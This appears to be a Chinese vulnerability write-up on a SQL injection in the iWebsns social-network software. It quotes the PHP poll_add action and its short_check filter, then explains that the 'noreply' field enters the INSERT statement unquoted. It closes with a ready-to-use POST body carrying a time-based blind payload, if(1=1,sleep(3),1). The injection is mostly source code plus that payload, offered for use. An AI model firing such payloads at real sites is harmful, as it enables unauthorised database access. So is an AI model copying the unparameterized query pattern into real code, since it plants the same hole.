iWebsns最新版SQL注入

#作者：小飞(PS:作为发过两篇文章的本站的编辑之一。表示无法容忍了..他的文章还要我来X)
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问题出在action/poll/poll_add.action.php下

<?php  //引入模块公共方法文件 require("api/base_support.php"); require("foundation/aintegral.php");  //引入语言包 $pol_langpackage=new polllp;  //权限验证 if(!get_argp('action')){         action_return(0,"$pol_langpackage->pol_error",-1);exit; }  //变量声明区         $user_id=get_sess_userid();         $user_name=get_sess_username();         $userico=get_sess_userico();   $subject=short_check(get_argp('subject'));   $message=short_check(get_argp('message'));   $sex=short_check(get_argp('sex'));   $noreply=short_check(get_argp('noreply'));   $expiration=short_check(get_argp('expiration'));   $reward=short_check(get_argp('reward'));   $credit=short_check(get_argp('credit'));   $percredit=short_check(get_argp('percredit'));   $makefeed=short_check(get_argp('makefeed'));   $maxchoice=short_check(get_argp('maxchoice'));   $cho=array_unique(get_argp('option'));   $tag=short_check(get_argp('tag'));  //数据表定义区         $t_poll=$tablePreStr."poll";         $t_polloption=$tablePreStr."polloption";  //定义写操作   dbtarget('w',$dbServs);   $dbo=new dbex();     foreach($cho as $value){           if(short_check($value)!=''){                   $cho_array[]=short_check($value);           }   }    if($maxchoice==1){           $input_type='radio';   }else{           $input_type='checkbox';   }    $poll_option="<input type=/"".$input_type."/" disabled />".$cho_array[0]."<br />";   $poll_option.="<input type=/"".$input_type."/" disabled />".$cho_array[1]."<br />";   $poll_option.="......";    $cho_ser=serialize(array($cho_array[0],$cho_array[1]));    $multiple=($maxchoice==1)? 0 : 1;   $cre_value=empty($credit) ? 0 : intval($credit);   $per_value=empty($percredit) ? 0 : intval($percredit);    $sql="insert into $t_poll (`user_id`,`username`,`user_ico`,`subject`,`multiple`,`maxchoice`,`sex`,`noreply`,`dateline`,`credit`,`percredit`,`expiration`,`message`,`option`) values ($user_id,'$user_name','$userico','$subject',$multiple,$maxchoice,$sex,$noreply,'".constant('NOWTIME')."',$cre_value,$per_value,'$expiration','$message','$cho_ser')";   $dbo->exeUpdate($sql);

其中的noreply在后文sql语句中是以数字型变量插入的
但是有个过滤函数
我们看看这个short_check

function short_check($str) {   $MaxSlen=500;//限制短输入项最多300个字符   if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开   { $str = addslashes($str); // 进行过滤 }   $str = LenLimit($str,$MaxSlen);   $str = str_replace(array("/'","//","#"),"",$str);   if($str!=''){ $str= htmlspecialchars($str); }   return preg_replace("/　+/","",trim($str));   }

可以看到过滤的很全
对‘ /都有过滤 但是这里是数字型注入
同时限制了长度 注意就好
打印一下语句

subject=asd&message=&option[]=qwe&option[]=rty&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&option[]=&maxchoice=1&expiration=2015-01-27&sex=1&noreply=if(1=1,sleep(3),1),1,0,0,1,1,1);-- s&reward=0&credit=&percredit=&makefeed=1&action=%E7%A1%AE%E5%AE%9A